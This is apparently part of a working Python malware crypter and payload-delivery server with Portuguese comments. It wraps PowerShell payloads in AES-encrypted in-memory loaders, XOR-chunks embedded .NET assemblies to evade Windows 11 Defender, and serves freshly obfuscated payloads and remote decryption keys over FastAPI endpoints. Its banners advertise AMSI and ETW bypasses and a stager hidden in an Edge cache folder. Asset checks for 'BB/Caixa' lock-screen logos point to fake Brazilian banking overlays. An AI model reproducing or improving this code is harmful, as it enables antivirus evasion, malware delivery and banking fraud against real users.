    RCON = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36]
    
    def xtime(a):
        return ((a << 1) ^ 0x1b) & 0xff if a & 0x80 else (a << 1) & 0xff
    
    def mix_single_column(a):
        t = a[0] ^ a[1] ^ a[2] ^ a[3]
        u = a[0]
        a[0] ^= t ^ xtime(a[0] ^ a[1])
        a[1] ^= t ^ xtime(a[1] ^ a[2])
        a[2] ^= t ^ xtime(a[2] ^ a[3])
        a[3] ^= t ^ xtime(a[3] ^ u)
        return a
    
    def key_expansion(key):
        key_schedule = list(key)
        for i in range(8, 60):
            temp = key_schedule[(i-1)*4:(i)*4]
            if i % 8 == 0:
                temp = temp[1:] + temp[:1]
                temp = [SBOX[b] for b in temp]
                temp[0] ^= RCON[i//8 - 1]
            elif i % 8 == 4:
                temp = [SBOX[b] for b in temp]
            key_schedule.extend([key_schedule[(i-8)*4 + j] ^ temp[j] for j in range(4)])
        return key_schedule
    
    def add_round_key(state, key_schedule, round):
        for i in range(16):
            state[i] ^= key_schedule[round*16 + i]
        return state
    
    def sub_bytes(state):
        return [SBOX[b] for b in state]
    
    def shift_rows(state):
        return [
            state[0], state[5], state[10], state[15],
            state[4], state[9], state[14], state[3],
            state[8], state[13], state[2], state[7],
            state[12], state[1], state[6], state[11]
        ]
    
    def mix_columns(state):
        for i in range(4):
            col = state[i*4:(i+1)*4]
            col = mix_single_column(col)
            state[i*4:(i+1)*4] = col
        return state
    
    def encrypt_block(block, key_schedule):
        state = list(block)
        state = add_round_key(state, key_schedule, 0)
        for round in range(1, 14):
            state = sub_bytes(state)
            state = shift_rows(state)
            state = mix_columns(state)
            state = add_round_key(state, key_schedule, round)
        state = sub_bytes(state)
        state = shift_rows(state)
        state = add_round_key(state, key_schedule, 14)
        return bytes(state)
    
    key_schedule = key_expansion(key)
    encrypted = b''
    prev_block = iv
    
    for i in range(0, len(data), 16):
        block = data[i:i+16]
        xored = bytes(a ^ b for a, b in zip(block, prev_block))
        encrypted_block = encrypt_block(xored, key_schedule)
        encrypted += encrypted_block
        prev_block = encrypted_block
    
    return encrypted


def apply_disk_encryption(code: str) -> str:
    """Criptografa o payload para ficar ilegível em disco"""
    key = os.urandom(32)
    iv = os.urandom(16)
    key_b64 = base64.b64encode(key).decode()
    iv_b64 = base64.b64encode(iv).decode()
    
    block_size = 16
    padding_len = block_size - (len(code.encode('utf-8')) % block_size)
    padded_code = code + chr(padding_len) * padding_len
    
    encrypted = aes_encrypt_cbc(padded_code.encode('utf-8'), key, iv)
    encrypted_b64 = base64.b64encode(encrypted).decode()
    encrypted_lines = [encrypted_b64[i:i+80] for i in range(0, len(encrypted_b64), 80)]
    encrypted_block = '\n'.join(encrypted_lines)
    
    v_key = random_name(6)
    v_iv = random_name(6)
    v_data = random_name(6)
    v_aes = random_name(6)
    v_dec = random_name(6)
    v_ms = random_name(6)
    v_cs = random_name(6)
    v_sr = random_name(6)
    v_plain = random_name(6)
    
    loader = f'''$ErrorActionPreference='SilentlyContinue'
${v_data}=@"
{encrypted_block}
"@
${v_key}=[Convert]::FromBase64String('{key_b64}')
${v_iv}=[Convert]::FromBase64String('{iv_b64}')
${v_aes}=[System.Security.Cryptography.Aes]::Create()
${v_aes}.Key=${v_key};${v_aes}.IV=${v_iv};${v_aes}.Mode='CBC';${v_aes}.Padding='PKCS7'
${v_dec}=${v_aes}.CreateDecryptor()
${v_ms}=[IO.MemoryStream]::new([Convert]::FromBase64String(${v_data}))
${v_cs}=[Security.Cryptography.CryptoStream]::new(${v_ms},${v_dec},'Read')
${v_sr}=[IO.StreamReader]::new(${v_cs})
${v_plain}=${v_sr}.ReadToEnd()
${v_sr}.Close();${v_cs}.Close();${v_ms}.Close();${v_aes}.Dispose()
& ([ScriptBlock]::Create(${v_plain})) @args'''
    
    return loader

# ═══════════════════════════════════════════════════════════════════════════════
# v8.1: PROTEÇÃO DE ASSEMBLIES BASE64 (Anti-W11 Defender)
# ═══════════════════════════════════════════════════════════════════════════════

def build_xor_b64_ps_block(
    b64_content: str,
    output_var: str,
    *,
    chunk_size: int = 300,
    batch_size: int = 40,
    reverse_chunk_lines: bool = True,
    direct_assign: bool = False,
) -> str:
    """
    Gera bloco PowerShell que restaura b64_content via XOR + chunks.
    v8.3: nomes unicos por indice + concat em lotes (evita corrupcao em asmC/asmG grandes).
    """
    legit_names = ['Cache', 'Config', 'Policy', 'Update', 'Module', 'Store', 'Data', 'Buffer']
    xor_key = random.randint(33, 126)
    xored_bytes = bytes([ord(c) ^ xor_key for c in b64_content])
    xored_b64 = base64.b64encode(xored_bytes).decode()
    chunks = [xored_b64[i:i + chunk_size] for i in range(0, len(xored_b64), chunk_size)]

    chunk_vars = []
    used = set()
    for idx in range(len(chunks)):
        var = '$_' + random.choice(legit_names) + random_name(5) + format(idx, 'x')
        while var in used:
            var = '$_' + random.choice(legit_names) + random_name(5) + format(idx, 'x')
        used.add(var)
        chunk_vars.append(var)

    lines = []
    indices = range(len(chunks) - 1, -1, -1) if reverse_chunk_lines else range(len(chunks))
    for i in indices:
        lines.append(f"{chunk_vars[i]}='{chunks[i]}'")

    def append_concat(vars_list):
        if len(vars_list) <= batch_size:
            concat_var = '$_' + random.choice(legit_names) + random_name(4)
            lines.append(f"{concat_var}=" + '+'.join(vars_list))
            return concat_var
        partials = []
        for batch_idx in range(0, len(vars_list), batch_size):
            batch = vars_list[batch_idx:batch_idx + batch_size]
            partial_var = '$_' + random.choice(legit_names) + random_name(4) + 'B' + format(batch_idx // batch_size, 'x')
            lines.append(f"{partial_var}=" + '+'.join(batch))
            partials.append(partial_var)
        concat_var = '$_' + random.choice(legit_names) + random_name(3)
        lines.append(f"{concat_var}=" + '+'.join(partials))
        return concat_var

    concat_var = append_concat(chunk_vars)
    key_var = '$_k' + random_name(4)
    decode_var = '$_' + random.choice(legit_names) + random_name(4)
    lines.append(f"{key_var}={xor_key}")
    lines.append(f"{decode_var}=[Convert]::FromBase64String({concat_var})")
    join_expr = f"-join({decode_var}|%{{[char]($_ -bxor {key_var})}})"
    if direct_assign:
        lines.append(f"{output_var}={join_expr}")
    else:
        result_var = '$_' + random.choice(legit_names) + random_name(4)
        lines.append(f"{result_var}={join_expr}")
        lines.append(f"{output_var}={result_var}")

    return '\n'.join(lines)


def protect_assembly_base64(code: str) -> str:
    """
    Protege assemblies Base64 contra detecção estática do W11 Defender.
    
    v8.3 - Corrige corrupcao em assemblies grandes (asmC/asmG):
    - Nomes unicos por indice (sem colisao de variaveis PS)
    - Concat em lotes de 40 (evita limite de expressao)
    """
    
    # Padrão para encontrar assemblies: $script:_asmX_b64 = 'TVqQAAMA...'
    asm_pattern = r"(\$script:_asm[A-G]_b64)\s*=\s*'(TVqQAAMA[A-Za-z0-9+/=]+)'"
    
    def protect_single_assembly(match):
        return build_xor_b64_ps_block(match.group(2), match.group(1))

    # Aplicar proteção a todos os assemblies encontrados
    protected_code = re.sub(asm_pattern, protect_single_assembly, code)

    return protected_code


def protect_inline_assembly(code: str) -> str:
    """
    Protege assemblies inline (aqueles usados diretamente em here-strings).
    Formato: [Convert]::FromBase64String('$($script:_asmF_b64)')
    """
    
    # Proteger referências em here-strings (não modificar a variável, só a referência)
    # Estas já serão protegidas pela função principal
    return code


def protect_hide_dll(code: str) -> str:
    """
    Protege a DLL de esconder janela ($_qh) que aparece inline.
    """
    
    # Padrão: $_qh='TVqQAAMA...'
    qh_pattern = r"(\$_qh)\s*=\s*'(TVqQAAMA[A-Za-z0-9+/=]+)'"
    
    def protect_qh(match):
        return build_xor_b64_ps_block(
            match.group(2),
            match.group(1),
            reverse_chunk_lines=False,
            direct_assign=True,
        )
    
    return re.sub(qh_pattern, protect_qh, code)


def _extract_asm_b64_from_source(code: str) -> dict:
    pat = r"\$script:_asm([A-G])_b64\s*=\s*'(TVqQAAMA[A-Za-z0-9+/=]+)'"
    return {
        f"$script:_asm{m.group(1)}_b64": m.group(2)
        for m in re.finditer(pat, code.replace('\r\n', '\n'))
    }


def _iter_xor_asm_blocks(protected: str):
    protected = protected.replace('\r\n', '\n')
    pat = re.compile(r'\$script:_asm([A-G])_b64=')
    for m in pat.finditer(protected):
        var = f"$script:_asm{m.group(1)}_b64"
        assign_pos = m.start()
        line_end = protected.find('\n', assign_pos)
        if line_end < 0:
            line_end = len(protected)
        else:
            line_end += 1
        pos = protected.rfind('\n', 0, assign_pos)
        start = 0
        while pos >= 0:
            line_start = protected.rfind('\n', 0, pos) + 1
            line = protected[line_start:pos + 1].strip()
            if not line.startswith('$_'):
                start = pos + 1
                break
            if line_start == 0:
                start = 0
                break
            pos = line_start - 2
        yield var, protected[start:line_end]


def _restore_b64_from_xor_block(ps_block: str) -> str:
    """Replica a logica do bloco PS (chunks + XOR) em Python — funciona no Linux."""
    ps_block = ps_block.replace('\r\n', '\n')
    assigns = {}
    for line in ps_block.split('\n'):
        line = line.strip()
        if not line:
            continue
        m = re.match(r'^(\$[\w:]+)=(.+)$', line)
        if m:
            assigns[m.group(1)] = m.group(2).strip()

    out_m = re.search(r'(\$script:_asm[A-G]_b64)=(\S+)\s*$', ps_block.strip())
    if not out_m:
        raise ValueError('saida asm nao encontrada no bloco protegido')

    def resolve(var: str, seen=None):
        if seen is None:
            seen = set()
        if var in seen:
            raise ValueError(f'referencia circular em {var}')
        seen.add(var)
        if var not in assigns:
            raise ValueError(f'variavel indefinida no bloco: {var}')
        expr = assigns[var]

        b64conv = re.match(r'\[Convert\]::FromBase64String\((\$_\w+)\)', expr)
        if b64conv:
            raw = resolve(b64conv.group(1), seen)
            if not isinstance(raw, str):
                raise ValueError(f'base64 invalido antes de FromBase64String: {var}')
            return base64.b64decode(raw)

        join_m = re.match(
            r'-join\((\$_\w+)\|%\{\[char\]\(\$_ -bxor (\$_\w+)\)\}\)',
            expr,
        )
        if join_m:
            data = resolve(join_m.group(1), seen)
            if not isinstance(data, (bytes, bytearray)):
                raise ValueError(f'bytes esperados antes do -join: {var}')
            key = int(resolve(join_m.group(2), seen))
            return ''.join(chr(b ^ key) for b in data)

        if expr.startswith("'") and expr.endswith("'"):
            return expr[1:-1]

        if re.fullmatch(r'-?\d+', expr):
            return expr

        if '+' in expr:
            parts = []
            for part in expr.split('+'):
                val = resolve(part.strip(), seen)
                if not isinstance(val, str):
                    raise ValueError(f'chunk nao textual em {var}')
                parts.append(val)
            return ''.join(parts)

        raise ValueError(f'expressao nao suportada em {var}: {expr[:80]}')

    result = resolve(out_m.group(2))
    if not isinstance(result, str):
        raise ValueError('bloco XOR nao produziu string base64')
    return result


def validate_protected_assemblies(source_before_protect: str, protected: str) -> None:
    """
    v8.3: Decodifica blocos XOR em Python e compara com o b64 original.
    Impede servir asmC/asmG corrompidos (logos/banners das travas BB/Caixa).
    """
    expected = _extract_asm_b64_from_source(source_before_protect)
    if not expected:
        return

    blocks = dict(_iter_xor_asm_blocks(protected))
    for var, b64 in expected.items():
        block = blocks.get(var)
        if not block:
            raise ValueError(f"bloco XOR ausente para {var}")
        try:
            restored = _restore_b64_from_xor_block(block)
        except Exception as e:
            raise ValueError(f"validacao XOR falhou em {var}: {e}") from e
        if restored != b64:
            raise ValueError(f"assembly corrompido apos XOR: {var} (conteudo diverge)")

        if var == '$script:_asmG_b64':
            raw = base64.b64decode(b64)
            jpeg_pat = '/9j/'.encode('utf-16le')
            png_pat = 'iVBORw0KGgo'.encode('utf-16le')
            jpeg_n = raw.count(jpeg_pat)
            png_n = raw.count(png_pat)
            if jpeg_n < 1 or png_n < 2:
                raise ValueError(
                    f"asmG sem assets de trava (jpeg={jpeg_n}, png={png_n}); logos/banners ausentes"
                )


# ═══════════════════════════════════════════════════════════════════════════════
# FUNÇÃO PRINCIPAL DE PROTEÇÃO (COMBINADA v8.1 - Anti-W11)
# ═══════════════════════════════════════════════════════════════════════════════

def protect_code_complete(code: str, config: dict = None) -> str:
    """
    Aplica TODAS as camadas de proteção do proteger.py v8.1.
    Esta função é thread-safe (não usa estado global mutável).
    
    v8.1: Adicionada proteção de assemblies contra W11 Defender
    """
    if config is None:
        config = CONFIG.copy()
    
    # Remover BOM UTF-8 se presente (causa erro de sintaxe no PowerShell)
    if code.startswith('\ufeff'):
        code = code[1:]
    
    # Normalizar line endings para LF antes do processamento
    # e converter de volta para CRLF no final (Windows)
    original_has_crlf = '\r\n' in code
    code = code.replace('\r\n', '\n')
    
    # Criar cópia local do project_config para thread-safety
    project_config = {
        'sensitive_ips': [],
        'sensitive_domains': [],
        'server_port': 0,
    }
    
    # =========================================================================
    # PROTEGER HERE-STRINGS COM CÓDIGO C# ANTES DE QUALQUER TRANSFORMAÇÃO
    # Estas strings contêm código compilado e NÃO devem ser modificadas
    # =========================================================================
    herestring_placeholders = {}
    
    # Padrão para here-strings: @' ... '@ ou @" ... "@
    # Captura here-strings que contêm código C# (class, DllImport, using System, etc)
    def extract_herestrings(code_str):
        placeholders = {}
        placeholder_idx = [0]
        
        # Encontrar here-strings com código C# crítico
        # Padrão: variavel = @' ou @" seguido de conteúdo até '@ ou "@
        patterns = [
            # Here-strings com aspas simples
            (r"(\$script:_dxgiWorkerSrc\s*=\s*@')([^']*(?:'(?!@)[^']*)*?)('@)", 'dxgi'),
            (r"(\$script:_dpiDxgiSrc\s*=\s*@')([^']*(?:'(?!@)[^']*)*?)('@)", 'dpi'),
            (r"(\$NativeCode\s*=\s*@\")([^\"]*(?:\"(?!@)[^\"]*)*)(\"\@)", 'native'),
            (r"(\$SpawnerCode\s*=\s*@\")([^\"]*(?:\"(?!@)[^\"]*)*)(\"\@)", 'spawner'),
        ]
        
        for pattern, name in patterns:
            match = re.search(pattern, code_str, re.DOTALL)
            if match:
                full_match = match.group(0)
                placeholder = f"__HERESTRING_{name.upper()}_{placeholder_idx[0]}__"
                placeholders[placeholder] = full_match
                code_str = code_str.replace(full_match, placeholder, 1)
                placeholder_idx[0] += 1
        
        return code_str, placeholders
    
    code, herestring_placeholders = extract_herestrings(code)
    
    # =========================================================================
    # v8.1: PROTEGER ASSEMBLIES BASE64 CONTRA W11 DEFENDER
    # Aplicar ANTES de outras transformações para não quebrar o código
    # =========================================================================
    asm_before_xor = code
    code = protect_assembly_base64(code)
    code = protect_hide_dll(code)
    validate_protected_assemblies(asm_before_xor, code)
    
    # Detectar valores sensíveis
    code = detect_sensitive_values(code, project_config)
    
    # v7.7: TODAS transformacoes desabilitadas
    # AMSI bypass via assembly pre-compilado torna obfuscacao desnecessaria
    pass
    
    # =========================================================================
    # RESTAURAR HERE-STRINGS PROTEGIDOS ANTES DA CRIPTOGRAFIA FINAL
    # =========================================================================
    for placeholder, original in herestring_placeholders.items():
        code = code.replace(placeholder, original)
    
    # =========================================================================
    # v8.0: AES-256-CBC + CHAVE REMOTA (camada final)
    # =========================================================================
    if config.get('enable_aes_encryption', True):
        code, _key_id, _key_b64 = apply_aes_loader(code, config)
        _aes_pending_keys[_key_id] = _key_b64
    
    # Criptografia em disco (arquivo ilegível)
    if config.get('enable_disk_encrypt', False):
        code = apply_disk_encryption(code)
    else:
        # Header do arquivo protegido
        pass
    
    # Converter de volta para CRLF se o original tinha CRLF (Windows)
    if original_has_crlf:
        code = code.replace('\n', '\r\n')
    
    return code

# ═══════════════════════════════════════════════════════════════════════════════
# SISTEMA DE POOL (PRÉ-GERAÇÃO DE CÓDIGOS) - ZERO PERDA DE CLIENTES
# ═══════════════════════════════════════════════════════════════════════════════

_aes_pending_keys = {}

class CodePool:
    """
    Pool de códigos pré-gerados.
    - Gera códigos em background
    - Cliente recebe código instantâneo
    - ZERO perda de clientes
    """
    
    def __init__(self):
        self.pools: Dict[str, deque] = {}
        self.key_pools: Dict[str, deque] = {}
        self.source_cache: Dict[str, str] = {}
        self.source_mtime: Dict[str, float] = {}
        self.locks: Dict[str, threading.Lock] = {}
        self.global_lock = threading.Lock()
        self.generator_queue = queue.Queue()
        self.running = True
        self.stats = {
            'generated': 0,
            'served_from_pool': 0,
            'served_generated': 0,
            'total_requests': 0,
        }
        
        for i in range(POOL_CONFIG['generator_threads']):
            t = threading.Thread(target=self._generator_worker, daemon=True)
            t.start()
    
    def _get_lock(self, folder: str) -> threading.Lock:
        with self.global_lock:
            if folder not in self.locks:
                self.locks[folder] = threading.Lock()
            return self.locks[folder]
    
    def _check_file_changed(self, folder: str) -> bool:
        """Verifica se o arquivo msedge.txt foi modificado"""
        base = SERVER_CONFIG['base_dir']
        src = SERVER_CONFIG['source_file']
        path = os.path.join(base, folder, src) if folder else os.path.join(base, src)
        
        if not os.path.exists(path):
            return False
        
        mtime = os.path.getmtime(path)
        cached_mtime = self.source_mtime.get(folder, 0)
        
        return mtime > cached_mtime
    
    def _load_source(self, folder: str) -> Optional[str]:
        base = SERVER_CONFIG['base_dir']
        src = SERVER_CONFIG['source_file']
        path = os.path.join(base, folder, src) if folder else os.path.join(base, src)
        
        if not os.path.exists(path):
            return None
        
        mtime = os.path.getmtime(path)
        
        # CORREÇÃO v8.2: Sempre verificar se arquivo mudou ANTES de usar cache
        if folder in self.source_cache and self.source_mtime.get(folder, 0) >= mtime:
            return self.source_cache[folder]
        
        try:
            with open(path, 'rb') as f:
                raw = f.read()
            code = raw[3:].decode('utf-8') if raw.startswith(b'\xef\xbb\xbf') else raw.decode('utf-8')
            
            was_cached = folder in self.source_cache
            self.source_cache[folder] = code
            self.source_mtime[folder] = mtime
            
            # LIMPAR POOL quando arquivo muda
            if folder in self.pools:
                old_size = len(self.pools[folder])
                with self._get_lock(folder):
                    self.pools[folder].clear()
                if was_cached:
                    print(f"[RELOAD] *** msedge.txt ATUALIZADO em {folder or 'raiz'}! Pool limpo ({old_size} payloads descartados) ***")
            
            print(f"[CACHE] Carregado {folder or 'raiz'}: {len(code):,} chars")
            return code
        except Exception as e:
            print(f"[ERRO] Carregar {path}: {e}")
            return None
    
    def _generator_worker(self):
        while self.running:
            try:
                folder = self.generator_queue.get(timeout=1)
                self._generate_one(folder)
                self.generator_queue.task_done()
            except queue.Empty:
                continue
            except Exception as e:
                print(f"[ERRO] Generator: {e}")
    
    def _generate_one(self, folder: str):
        global _aes_pending_keys
        source = self._load_source(folder)
        if not source:
            return
        
        try:
            start = time.time()
            _aes_pending_keys = {}
            protected = protect_code_complete(source)
            elapsed = (time.time() - start) * 1000
            
            with self._get_lock(folder):
                if folder not in self.pools:
                    self.pools[folder] = deque(maxlen=POOL_CONFIG['max_size'])
                if folder not in self.key_pools:
                    self.key_pools[folder] = deque(maxlen=POOL_CONFIG['max_size'])
                self.pools[folder].append(protected)
                pending = dict(_aes_pending_keys)
                _aes_pending_keys = {}
                for kid, kval in pending.items():
                    self.key_pools[folder].append((kid, kval))
                    keys = _load_keys()
                    keys[kid] = kval
                    _save_keys(keys)
            self.stats['generated'] += 1
            pool_size = len(self.pools.get(folder, []))
            print(f"[POOL] Gerado para {folder or 'raiz'} em {elapsed:.0f}ms (pool: {pool_size})")
        except Exception as e:
            print(f"[ERRO] Gerar código: {e}")
            import traceback
            traceback.print_exc()
    
    def _request_generation(self, folder: str, count: int = 1):
        for _ in range(count):
            self.generator_queue.put(folder)
    
    def get_code(self, folder: str) -> Optional[str]:
        self.stats['total_requests'] += 1
        folder = folder.strip('/') if folder else ""
        
        # v8.2 FIX: SEMPRE verificar arquivo antes de qualquer coisa
        base = SERVER_CONFIG['base_dir']
        src = SERVER_CONFIG['source_file']
        path = os.path.join(base, folder, src) if folder else os.path.join(base, src)
        
        if os.path.exists(path):
            current_mtime = os.path.getmtime(path)
            cached_mtime = self.source_mtime.get(folder, 0)
            
            if current_mtime > cached_mtime:
                print(f"[AUTO-RELOAD] ========================================")
                print(f"[AUTO-RELOAD] MUDANÇA DETECTADA em {folder or 'raiz'}!")
                print(f"[AUTO-RELOAD] Arquivo: {path}")
                print(f"[AUTO-RELOAD] mtime atual: {current_mtime}")
                print(f"[AUTO-RELOAD] mtime cache: {cached_mtime}")
                print(f"[AUTO-RELOAD] Limpando TUDO...")
                
                with self._get_lock(folder):
                    # Limpar pool de códigos
                    if folder in self.pools:
                        old_pool = len(self.pools[folder])
                        self.pools[folder].clear()
                        print(f"[AUTO-RELOAD] Pool limpo: {old_pool} payloads descartados")
                    
                    # Limpar pool de chaves
                    if folder in self.key_pools:
                        old_keys = len(self.key_pools[folder])
                        self.key_pools[folder].clear()
                        print(f"[AUTO-RELOAD] Keys limpos: {old_keys} chaves descartadas")
                    
                    # Limpar cache do source
                    if folder in self.source_cache:
                        del self.source_cache[folder]
                    if folder in self.source_mtime:
                        del self.source_mtime[folder]
                
                print(f"[AUTO-RELOAD] Pronto! Próximo payload será NOVO")
                print(f"[AUTO-RELOAD] ========================================")
        
        source = self._load_source(folder)
        if not source:
            return None
        
        with self._get_lock(folder):
            if folder in self.pools and self.pools[folder]:
                code = self.pools[folder].popleft()
                pool_size = len(self.pools[folder])
                self.stats['served_from_pool'] += 1
                
                if pool_size < POOL_CONFIG['refill_threshold']:
                    self._request_generation(folder, POOL_CONFIG['min_size'] - pool_size)
                
                print(f"[POOL] Servido do pool {folder or 'raiz'} (restam: {pool_size})")
                return code
        
        global _aes_pending_keys
        print(f"[POOL] Pool vazio para {folder or 'raiz'}, gerando...")
        _aes_pending_keys = {}
        protected = protect_code_complete(source)
        self.stats['served_generated'] += 1
        
        pending = dict(_aes_pending_keys)
        _aes_pending_keys = {}
        for kid, kval in pending.items():
            keys = _load_keys()
            keys[kid] = kval
            _save_keys(keys)
        
        self._request_generation(folder, POOL_CONFIG['min_size'])
        
        return protected
    
    def warmup(self, folder: str):
        print(f"[WARMUP] Pré-gerando para {folder or 'raiz'}...")
        self._request_generation(folder, POOL_CONFIG['min_size'])
    
    def discover_folders(self) -> list:
        """Descobre todas as pastas que têm msedge.txt"""
        base = SERVER_CONFIG['base_dir']
        src = SERVER_CONFIG['source_file']
        folders = []
        
        # Verificar raiz
        if os.path.exists(os.path.join(base, src)):
            folders.append("")
        
        # Verificar subpastas
        try:
            for item in os.listdir(base):
                item_path = os.path.join(base, item)
                if os.path.isdir(item_path):
                    if os.path.exists(os.path.join(item_path, src)):
                        folders.append(item)
        except Exception as e:
            print(f"[ERRO] Ao escanear pastas: {e}")
        
        return folders
    
    def warmup_all(self):
        """Pré-aquece TODAS as pastas que têm msedge.txt"""
        folders = self.discover_folders()
        print(f"[WARMUP] Encontradas {len(folders)} pasta(s) com {SERVER_CONFIG['source_file']}")
        
        for folder in folders:
            self.warmup(folder)
            print(f"[WARMUP] Iniciado: {folder or 'raiz'}")
    
    def get_stats(self) -> dict:
        pools_info = {(f or 'raiz'): len(p) for f, p in self.pools.items()}
        return {
            'generated': self.stats['generated'],
            'served_from_pool': self.stats['served_from_pool'],
            'served_generated': self.stats['served_generated'],
            'total_requests': self.stats['total_requests'],
            'pool_sizes': pools_info,
            'queue_size': self.generator_queue.qsize(),
        }


code_pool = CodePool()


# ═══════════════════════════════════════════════════════════════════════════════
# SERVIDOR FASTAPI
# ═══════════════════════════════════════════════════════════════════════════════

try:
    from fastapi import FastAPI
    from fastapi.responses import PlainTextResponse
    import uvicorn
except ImportError:
    print("ERRO: pip3 install fastapi uvicorn --break-system-packages")
    sys.exit(1)

app = FastAPI(title="Servidor Completo + Pool v8.2 Universal", version="8.2")
stats = {'start': None}


@app.on_event("startup")
async def startup():
    stats['start'] = datetime.now()
    
    aes_status = "RÁPIDO (cryptography)" if CRYPTO_FAST else "LENTO (Python puro)"
    
    print()
    print("=" * 78)
    print("  SERVIDOR v8.2 - UNIVERSAL (W10/W11 Home/Pro)")
    print("=" * 78)
    print("  [OK] ZERO PERDA DE CLIENTES - Sistema de pool")
    print("  [OK] PRE-AQUECE TODAS AS PASTAS AUTOMATICAMENTE")
    print(f"  [OK] AES lib: {aes_status}")
    print("  [v8.2] AMSI bypass hibrido PS5/PS7 (pAppName null)")
    print("  [v8.2] ETW bypass (m_enabled field)")
    print("  [v8.2] Assemblies: XOR + chunks 300 chars + ordem reversa")
    print("  [v8.2] Variaveis com nomes legitimos (Cache, Config, etc)")
    print("  [v8.2] Stager em AppData/Edge/Cache (nao Public\\Documents)")
    print("  [v8.2] Baseado em pesquisa 2026 (bl4ckarch, r-tec)")
    print("=" * 78)
    print()
    
    if not CRYPTO_FAST:
        print("[AVISO] Instale: pip3 install cryptography --break-system-packages")
        print()
    
    print(f"[OK] Pool: min={POOL_CONFIG['min_size']}, max={POOL_CONFIG['max_size']}")
    print(f"[OK] Threads geradoras: {POOL_CONFIG['generator_threads']}")
    print()
    
    # Pré-aquecer TODAS as pastas automaticamente
    code_pool.warmup_all()


@app.get("/proteger", response_class=PlainTextResponse)
async def proteger(folder: str = ""):
    start = time.time()
    code = code_pool.get_code(folder)
    
    if code is None:
        return PlainTextResponse(f"# ERRO: msedge.txt não encontrado em {folder or 'raiz'}", status_code=404)
    
    elapsed = (time.time() - start) * 1000
    print(f"[OK] {folder or 'raiz'} -> {len(code):,} chars em {elapsed:.0f}ms")
    
    return PlainTextResponse(code)


@app.get("/warmup")
async def warmup(folder: str = ""):
    code_pool.warmup(folder)
    return {"status": "warming up", "folder": folder or "raiz"}


@app.get("/stats")
async def get_stats():
    return {
        'uptime': str(datetime.now() - stats['start']) if stats['start'] else None,
        'aes_fast': CRYPTO_FAST,
        'pool': code_pool.get_stats(),
        'config': {
            'sleep_jitter': CONFIG['enable_sleep_jitter'],
            'bypass': CONFIG['enable_bypass'],
            'string_encrypt': CONFIG['enable_string_encrypt'],
            'var_rename': CONFIG['enable_var_rename'],
            'func_rename': CONFIG['enable_func_rename'],
            'type_obfuscation': CONFIG['enable_type_obfuscation'],
            'comment_removal': CONFIG['enable_comment_removal'],
            'number_obfuscation': CONFIG['enable_number_obfuscation'],
            'disk_encrypt': CONFIG['enable_disk_encrypt'],
        }
    }


@app.get("/health")
async def health():
    folders = code_pool.discover_folders()
    return {
        "status": "ok", 
        "version": "8.2-universal", 
        "aes_fast": CRYPTO_FAST, 
        "pool": True,
        "asm_protection": "xor+chunks+reverse",
        "amsi_bypass": "pAppName_null_hybrid",
        "etw_bypass": True,
        "folders_detected": len(folders),
        "folders": [f or "raiz" for f in folders]
    }


@app.get("/k/{key_id}")
async def get_aes_key(key_id: str):
    keys = _load_keys()
    if key_id in keys:
        return PlainTextResponse(keys[key_id])
    return PlainTextResponse("", status_code=404)


@app.get("/assembly")
async def get_assembly():
    return PlainTextResponse(GLOBAL_ASM_B64)


@app.get("/reload")
async def force_reload():
    """Forca reload do msedge.txt e limpa todo o cache/pool"""
    code_pool.source_cache.clear()
    code_pool.source_mtime.clear()
    for folder in list(code_pool.pools.keys()):
        with code_pool._get_lock(folder):
            code_pool.pools[folder].clear()
    print("[RELOAD] Cache e pools limpos! Proximo request vai usar msedge.txt novo.")
    code_pool.warmup_all()
    return {"status": "ok", "message": "Cache limpo e pools re-gerados"}

@app.get("/folders")
async def list_folders():
    """Lista todas as pastas detectadas com msedge.txt"""
    folders = code_pool.discover_folders()
    pool_stats = code_pool.get_stats()
    
    result = []
    for folder in folders:
        name = folder or "raiz"
        pool_size = pool_stats['pool_sizes'].get(name, 0)
        result.append({
            "folder": name,
            "pool_size": pool_size,
            "ready": pool_size > 0
        })
    
    return {"folders": result, "total": len(folders)}


if __name__ == "__main__":
    script = os.path.splitext(os.path.basename(sys.argv[0]))[0]
    uvicorn.run(f"{script}:app", host=SERVER_CONFIG['host'],
                port=SERVER_CONFIG['port'], workers=1, log_level="info")
